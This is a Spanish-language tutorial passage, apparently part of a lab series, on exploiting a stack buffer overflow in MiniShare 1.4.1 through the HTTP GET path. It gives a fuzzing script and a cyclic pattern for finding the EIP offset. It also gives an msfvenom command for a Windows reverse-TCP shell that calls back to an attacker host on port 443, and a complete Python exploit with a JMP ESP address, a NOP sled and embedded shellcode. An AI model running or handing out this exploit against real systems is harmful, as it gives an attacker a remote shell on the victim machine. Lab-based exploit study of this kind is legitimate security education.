Este laboratorio será para reforzar lo visto en 1. Preparación del laboratorio para BOF hasta 7. Modificación del Shellcode para controlar el comando que se desea ejecutar por lo que vamos aplicar los mismo pasos, solo cambia el campo al cual vamos a explotar el bufferoverflow.
Para practicar vamos primer a descargarmos MiniShare ver.1.4.1, copiamos y pegamos el link de descargar que vamos a colocar a continuación mismo que al entrar descargará automáticamente el programa en el Windows 7 que vimos com instalar en 1. Preparación del laboratorio para BOF.
https:/projects/minishare/files/OldFiles/minishare-1.4.1.exe/download?use_mirror=master&download=&failedmirror=jaist.dl.sourceforge.net
Nota: Voy a sobreentender que ya tienes instalado el Immunity Debugger sino nuevamente te diría que leas 1. Preparación del laboratorio para BOF donde se explica paso a paso la instalación.
Nota: Cada que crasheamos el programa MiniShare vamos a tener que volver a abrirlo y atacharlo al Immunity Debugger que también habremos cerrado y vuelto abrir para ese momento.
Lo que vamos a hacer es un fuzzing al campo vulnerable a BOF para saber cuanto es la cantidad de bytes que requiere ese campo para que ocurra el BOF.
#!/usr/bin/python3
from struct import pack
import socket,sys
#Variables Globales
ip_address = "192.168.1.104"
port = 80
def exploit():
total_length = 0
while True:
try:
# Vamos a sumar en cada iteración 100
total_length += 100
print(total_length)
#Creamos el socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# Nos conectamos al servidor
s.connect((ip_address,port))
# Payload donde multiplicamos el total_length al caracter que enviaremos
payload = b"GET /" + b"A" * total_length + b" HTTP/1.1 \r\n\r\n"
# Enviamos la petición
s.send(payload)
s.settimeout(7)
# Recibimos el banner
msg = s.recv(1024)
# Cerramos la conexion
s.close()
except:
print('\n[!] El programa ha crasheado correctamente.')
print('\n[!] La cantidad en bytes fue de %d' % total_length)
sys.exit(1)
if __name__ == "__main__":
exploit()
Mediante este script descubrimeros los bytes requeridos para crashear el programa, así que ejecutamos el script con el MiniShare abierto.
Vemos que requerimos de 1800 bytes (o carácteres) para poder crashear el programa por lo que vamos a modificar el script para confirmar que tengamos control sobre el EIP.
Conociendo la cantidad de bytes que crashean el programa, vamos hacer uso de pattern create y pattern offset para poder conocer la cantidad exacta donde se crashea el programa por lo que vamos a realizar lo siguiente.
#!/usr/bin/python3
from struct import pack
import socket,sys
#Variables Globales
ip_address = "192.168.1.104"
port = 80
before_eip = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9"
payload = b"GET /" + before_eip + b" HTTP/1.1 \r\n\r\n"
def exploit():
try:
#Creamos el socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# Nos conectamos al servidor
s.connect((ip_address,port))
# Enviamos la petición
s.send(payload)
s.settimeout(7)
# Recibimos el banner
msg = s.recv(1024)
# Cerramos la conexion
s.close()
except:
print('\n[!] El programa ha crasheado correctamente.')
sys.exit(1)
if __name__ == "__main__":
exploit()
Vemos que el offset es 1786 por lo que conocemos ese valor para poder ver si obtenemos control sobre el EIP.
Podemos verlo en el 2. Fase inicial de Fuzzing y tomando el control del registro EIP.
Este proceso tambien está explicado primero en 3. Asignación de espacio para el Shellcode] y luego en 4. Generación de Bytearrays y detección de Badchars
Para crear el shellcode vamos hacer uso de msfvenom, conociendo que los badchars para este binario son '\x00\x0d'
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.1.140 LPORT=443 -f c -b '\x00\x0d' EXITFUNC=thread
Modificamos el script y aumentamos un NOPs para que el CPU de la máquina víctima pueda interpretar el shellcode que estamos enviando.
Este caso es especial porque vamos a tener que hacer uso de !mona find wild 'jmp ESP', porque por el medio que vemos en 5. Búsqueda de OpCodes para entrar al ESP y cargar nuestro Shellcode nos sale que 0 pointer.
En casos aspi podemos hacer uso de find wild como lo vemos a continuación.
Copiamos la dirección de cualquiera de las que aparece, esperando a que no contenga los badchars que sabemos con anterioridad.
Esa dirección la vamos a pegar en el EIP usando pack para que automáticamente le de la vuelta.
#!/usr/bin/python3
from struct import pack
import socket,sys
#Variables Globales
ip_address = "192.168.1.104"
port = 80
before_eip = b"A"*1786
eip = pack("<L",0x76D6211B)
shellcode = (b"\xda\xcf\xbf\xa3\x26\x53\x04\xd9\x74\x24\xf4\x5d\x33\xc9"
b"\xb1\x52\x31\x7d\x17\x83\xed\xfc\x03\xde\x35\xb1\xf1\xdc"
b"\xd2\xb7\xfa\x1c\x23\xd8\x73\xf9\x12\xd8\xe0\x8a\x05\xe8"
b"\x63\xde\xa9\x83\x26\xca\x3a\xe1\xee\xfd\x8b\x4c\xc9\x30"
b"\x0b\xfc\x29\x53\x8f\xff\x7d\xb3\xae\xcf\x73\xb2\xf7\x32"
b"\x79\xe6\xa0\x39\x2c\x16\xc4\x74\xed\x9d\x96\x99\x75\x42"
b"\x6e\x9b\x54\xd5\xe4\xc2\x76\xd4\x29\x7f\x3f\xce\x2e\xba"
b"\x89\x65\x84\x30\x08\xaf\xd4\xb9\xa7\x8e\xd8\x4b\xb9\xd7"
b"\xdf\xb3\xcc\x21\x1c\x49\xd7\xf6\x5e\x95\x52\xec\xf9\x5e"
b"\xc4\xc8\xf8\xb3\x93\x9b\xf7\x78\xd7\xc3\x1b\x7e\x34\x78"
b"\x27\x0b\xbb\xae\xa1\x4f\x98\x6a\xe9\x14\x81\x2b\x57\xfa"
b"\xbe\x2b\x38\xa3\x1a\x20\xd5\xb0\x16\x6b\xb2\x75\x1b\x93"
b"\x42\x12\x2c\xe0\x70\xbd\x86\x6e\x39\x36\x01\x69\x3e\x6d"
b"\xf5\xe5\xc1\x8e\x06\x2c\x06\xda\x56\x46\xaf\x63\x3d\x96"
b"\x50\xb6\x92\xc6\xfe\x69\x53\xb6\xbe\xd9\x3b\xdc\x30\x05"
b"\x5b\xdf\x9a\x2e\xf6\x1a\x4d\x91\xaf\x25\x01\x79\xb2\x25"
b"\x18\xc1\x3b\xc3\x70\x25\x6a\x5c\xed\xdc\x37\x16\x8c\x21"
b"\xe2\x53\x8e\xaa\x01\xa4\x41\x5b\x6f\xb6\x36\xab\x3a\xe4"
b"\x91\xb4\x90\x80\x7e\x26\x7f\x50\x08\x5b\x28\x07\x5d\xad"
b"\x21\xcd\x73\x94\x9b\xf3\x89\x40\xe3\xb7\x55\xb1\xea\x36"
b"\x1b\x8d\xc8\x28\xe5\x0e\x55\x1c\xb9\x58\x03\xca\x7f\x33"
b"\xe5\xa4\x29\xe8\xaf\x20\xaf\xc2\x6f\x36\xb0\x0e\x06\xd6"
b"\x01\xe7\x5f\xe9\xae\x6f\x68\x92\xd2\x0f\x97\x49\x57\x2f"
b"\x7a\x5b\xa2\xd8\x23\x0e\x0f\x85\xd3\xe5\x4c\xb0\x57\x0f"
b"\x2d\x47\x47\x7a\x28\x03\xcf\x97\x40\x1c\xba\x97\xf7\x1d"
b"\xef")
payload = b"GET /" + before_eip + eip + b"\x90"*16 +shellcode + b" HTTP/1.1 \r\n\r\n"
def exploit():
try:
#Creamos el socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# Nos conectamos al servidor
s.connect((ip_address,port))
# Enviamos la petición
s.send(payload)
s.settimeout(7)
# Recibimos el banner
msg = s.recv(1024)
# Cerramos la conexion
s.close()
except:
print('\n[!] El programa ha crasheado correctamente.')
sys.exit(1)
if __name__ == "__main__":
exploit()
Nos ponemos en escucha por el puerto 443 que hemos colocado en el msfvenom y procedemos a ejecutar el script.
Nota: Debe estar abierto el minishare.
Hemos ejecutado un buffer overflow.